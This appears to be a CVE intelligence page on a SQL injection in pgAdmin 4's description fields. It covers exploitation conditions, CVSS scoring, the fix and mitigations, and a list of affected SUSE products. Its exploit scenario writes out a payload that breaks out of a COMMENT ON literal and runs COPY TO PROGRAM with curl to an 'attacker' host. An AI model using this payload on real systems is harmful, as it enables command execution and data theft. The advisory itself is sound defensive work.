Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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ReconAuthenticate to pgAdmin 4
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DeliveryOpen affected object dialog
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ExploitSubmit apostrophe-bearing description payload
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InstallBreak out of COMMENT ON literal
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C2Execute injected SQL as connected role
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ExecuteInvoke COPY ... TO/FROM PROGRAM
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ImpactOS command execution on PostgreSQL host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires (1) an authenticated pgAdmin 4 session, (2) the user's PostgreSQL role to hold CREATE/ALTER privileges on at least one of the affected object types - Domains, Domain Constraints, Foreign Tables, Languages, Event Triggers, or Views (or CREATE on a schema for the pgstattuple/pgstatindex variant), (3) the user actually submitting a description field via the relevant dialog template, and (4) for OS command execution rather than just in-database SQL execution, the connected PostgreSQL role must be permitted to use COPY ... TO/FROM PROGRAM, which in practice means PostgreSQL superuser. Limiting factors: the attacker gains no privilege beyond what their database role already grants because the same user can already run arbitrary SQL via pgAdmin's Query Tool; the marginal impact is bypass of any application-layer Query Tool restriction an operator configured. Network access to the pgAdmin UI is required (AV:N) but no user interaction beyond the attacker's own (UI:N). |
| Impact | Vendor-assigned CVSS 4.0 is 8.7 (High) with AV:N/AC:L/AT:N/PR:L/UI:N and VC:H/VI:H/VA:H, reflecting network reachability of the pgAdmin web UI, low attack complexity, and the OS-command-execution upside through COPY ... PROGRAM. The much-more-important caveat - explicitly called out by the reporter - is that exploitation does not cross a privilege boundary: the authenticated pgAdmin user must already hold CREATE/ALTER privileges on Domains, Foreign Tables, Languages, Event Triggers, or Views, and the SQL executes only with the rights of the PostgreSQL role they are already logged in as, which they could already exercise via the Query Tool. The realistic risk is therefore (a) bypass of any application-layer Query Tool restrictions an operator added on top of pgAdmin, and (b) escalation to OS RCE only when the connected role happens to be a PostgreSQL superuser (typical for many pgAdmin sessions). No CISA KEV listing and no EPSS score are provided; no public exploit identified at time of analysis, though the public commit diffs make a PoC straightforward to construct. Net: a real defense-in-depth fix worth deploying promptly, but not an internet-facing pre-auth crisis. |
| Exploit ScenarioDerived | An authenticated pgAdmin user with CREATE/ALTER rights on a target object opens, for example, the Domain dialog and sets the description to '); COPY pg_catalog.pg_class TO PROGRAM 'curl http://attacker/$(id|base64)'; -- breaking out of the COMMENT ON ... IS '...' literal. When pgAdmin submits the rendered SQL, the injected statement executes under the connected PostgreSQL role; if that role is a superuser (a common default for pgAdmin sessions), the COPY ... PROGRAM clause yields arbitrary OS command execution on the PostgreSQL host. The public fix commits make a PoC trivially derivable, though no public exploit identified at time of analysis. |
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Alert meAnalysisAIv1 – Jun 19, 2026
SQL injection in pgAdmin 4 versions 1.0 through 9.15 allows an authenticated user with object-modification rights to inject SQL via the description field of Domain, Domain Constraint, Foreign Table, Language, Event Trigger, and View dialogs, where Jinja templates wrapped the value in single quotes instead of passing it through the qtLiteral escape filter. Sixteen template sites plus ten related pgstattuple/pgstatindex identifier sinks share the defect; injected SQL executes as the connected PostgreSQL role, and if that role can use COPY ... TO/FROM PROGRAM it pivots to OS command execution on the database host. No public exploit identified at time of analysis, and the vendor notes the bug does not cross a privilege boundary since the same user already has direct SQL access via the Query Tool.
RemediationAI
Vendor-released patch: pgAdmin 4 9.16 - upgrade any 1.0-9.15 deployment (desktop, web/server, container, or packaged build) to 9.16 or later, which replaces every '{{ x.description }}' interpolation with the {{ x.description|qtLiteral(conn) }} filter, rewrites the pgstattuple/pgstatindex sites to use ::oid::regclass, and hardens qtLiteral to raise ValueError when conn is missing so the bug class cannot silently recur; see https://github.com/pgadmin-org/pgadmin4/commit/658bb585d and https://github.com/pgadmin-org/pgadmin4/commit/2ae0d3610. Until patched, compensating controls are to (a) ensure pgAdmin sessions connect to PostgreSQL as least-privileged roles rather than superuser so a successful injection cannot reach COPY ... TO/FROM PROGRAM OS execution (trade-off: some admin workflows requiring superuser will break), (b) revoke CREATE/ALTER on Domains, Foreign Tables, Languages, Event Triggers, and Views from non-trusted pgAdmin users (trade-off: blocks legitimate schema work for those users), and (c) restrict network access to the pgAdmin UI to admin operators only (trade-off: reduces self-service for analysts). Generic WAF rules on apostrophes in description fields are not recommended as they will break legitimate SQL comments.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
pgAdmin 4 is the official web/desktop administration UI for PostgreSQL, written in Python/Flask with Jinja2-rendered SQL templates that are executed against the user's connected database. The root cause is classic CWE-89 SQL Injection through unsafe template interpolation: COMMENT ON statements were emitted as IS '{{ data.description }}' - a single-quoted literal built by string concatenation - rather than via the project's qtLiteral(conn) filter that wraps and escapes the value safely. A secondary identifier-quoting weakness affects pgstattuple('{{schema}}.{{table}}') style calls because qtIdent escapes embedded double quotes but not apostrophes inside the resulting literal-call form. The CPE cpe:2.3:a:pgadmin.org:pgadmin_4:*:*:*:*:*:*:*:* covers all distribution channels (desktop, server/container, package). Fix 658bb585d/2ae0d3610 switches every site to qtLiteral, rewrites the stats sites to use ::oid::regclass to remove the literal entirely, and hardens the qtLiteral helper itself to raise ValueError when conn is missing instead of silently returning the unescaped value.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable pgAdmin UI (AV:N), no special conditions beyond the dialog (AC:L), authenticated user with object-modification rights required (PR:L), no victim interaction (UI:N); RCE-capable when connected as superuser yields C/I/A:H.
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (PostgreSQL).
CVSS VectorVendor: PostgreSQL
Lifecycle Timeline
2DescriptionCVE.org
SQL injection in pgAdmin 4 across every dialog template that renders `COMMENT ON ... IS '<description>' for a user-supplied description field. The Jinja templates for Domains (and their constraints), Foreign Tables, Languages, and Event Triggers, plus the Views OID-lookup query, interpolated the description directly inside a single-quoted SQL literal -- '{{ data.description }}' -- instead of passing it through the qtLiteral escape filter. An authenticated pgAdmin user with permission to create or alter the affected object types could submit a description containing an apostrophe, break out of the literal and chain arbitrary SQL. The injected SQL runs under the PostgreSQL role the user is already authenticated as; for a connected role with COPY ... TO/FROM PROGRAM` (typically PostgreSQL superuser), this chains to OS command execution on the PostgreSQL host. The defect does not cross a privilege boundary -- the user already has direct SQL access to that role through pgAdmin's Query Tool -- so the attacker gains no capability beyond what their database role already grants. The marginal impact captures bypass of any application-layer Query Tool gating an operator may have configured.
The defect was originally reported against the Domain Dialog `description field; a code-wide audit identified sixteen sites of the same pattern across the templates listed above. The same review also surfaced ten related sinks in the pgstattuple/pgstatindex stats templates -- pgstattuple('{{schema}}.{{table}}') and the matching pgstatindex shape -- where qtIdent escapes embedded double quotes inside the identifier but not apostrophes, so a user with CREATE privilege on a schema could plant a table or index named foo'bar` and a later stats viewer would render an unbalanced literal.
Fix is layered:
- Sites: replace every
`'{{ x.description }}'with{{ x.description|qtLiteral(conn) }}(no surrounding quotes -- the filter wraps the value in escaped quotes itself). Plumbconn=self.connthrough everyrender_templatecall that loads one of these templates. Also corrects a{ % elifJinja typo in the foreign-table schema diff (dead branch). Rewrite the ten pgstattuple/pgstatindex stats sites to address the relation via OID +::oid::regclasscast (e.g.pgstattuple({{ tid }}::oid::regclass)`), eliminating the embedded literal-call form entirely so that bug-class can no longer recur there. - Driver hardening:
`qtLiteral(inutils/driver/psycopg3/__init__.py) used to silently return the raw unescaped value when itsconnargument was falsy. It now raisesValueError-- surfacing the entire bug class going forward. The change immediately uncovered eight latent plumbing bugs (inschemas/__init__.py,schemas/functions/__init__.py,schemas/tables/utils.py,foreign_servers/__init__.py, and seven sites inroles/__init__.py) -- all fixed as part of this patch. The innerexcept` block that swallowed adapter-level failures and returned the raw value is also removed, so unadaptable inputs raise instead of leaking unescaped values. - Regression tests: a per-template behavioural test renders each previously-vulnerable template with an apostrophe-injection payload and asserts the escaped fragment is present and the vulnerable fragment absent; a lint test walks every
`*.sqltemplate flagging any'{{ ... }}'` single-quote-wrapped interpolation against an explicit allowlist; unit tests cover the new qtLiteral fail-fast and inner-except raise paths.
This issue affects pgAdmin 4: from 1.0 before 9.16.
Articles & Coverage 1
Executive ViewAI
pgAdmin 4 (versions 1.0-9.15) contains a SQL injection vulnerability allowing authenticated users with object-modification rights to execute arbitrary SQL commands and potentially gain shell access on the database server, creating direct risk of data breach and infrastructure compromise. Organizations using pgAdmin for database administration require immediate patching to protect sensitive databases and underlying systems.
Apply vendor patch. Interim mitigation: Restrict object-modification rights to administrative personnel only and review PostgreSQL role permissions to disable OS-level command execution vectors connected through pgAdmin.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
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Same weakness CWE-89 – SQL Injection
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Server 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5 | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Manager Proxy 4.3 | Affected |
| SUSE Manager Proxy LTS 4.3 | Affected |
| SUSE Manager Retail Branch Server 4.3 | Affected |
| SUSE Manager Retail Branch Server LTS 4.3 | Affected |
| SUSE Manager Server 4.3 | Affected |
| SUSE Manager Server LTS 4.3 | Affected |
| SUSE CaaS Platform 4.0 | Affected |
| SUSE Enterprise Storage 6 | Affected |
| SUSE Enterprise Storage 7 | Affected |
| SUSE Enterprise Storage 7.1 | Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP1 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP2 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP3 | Affected |
| SUSE Linux Enterprise Real Time 15 SP2 | Affected |
| SUSE Linux Enterprise Real Time 15 SP3 | Affected |
| SUSE Linux Enterprise Real Time 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 SP1 | Affected |
| SUSE Linux Enterprise Server 15 SP1-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP1-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP2 | Affected |
| SUSE Linux Enterprise Server 15 SP2-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP3 | Affected |
| SUSE Linux Enterprise Server 15 SP3-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Manager Proxy 4.0 | Affected |
| SUSE Manager Proxy 4.1 | Affected |
| SUSE Manager Proxy 4.2 | Affected |
| SUSE Manager Retail Branch Server 4.0 | Affected |
| SUSE Manager Retail Branch Server 4.1 | Affected |
| SUSE Manager Retail Branch Server 4.2 | Affected |
| SUSE Manager Server 4.0 | Affected |
| SUSE Manager Server 4.1 | Affected |
| SUSE Manager Server 4.2 | Affected |
| openSUSE Leap 15.3 | Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.5 | Affected |
EUVD-2026-37963
GHSA-hrvw-6gvm-9x99
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB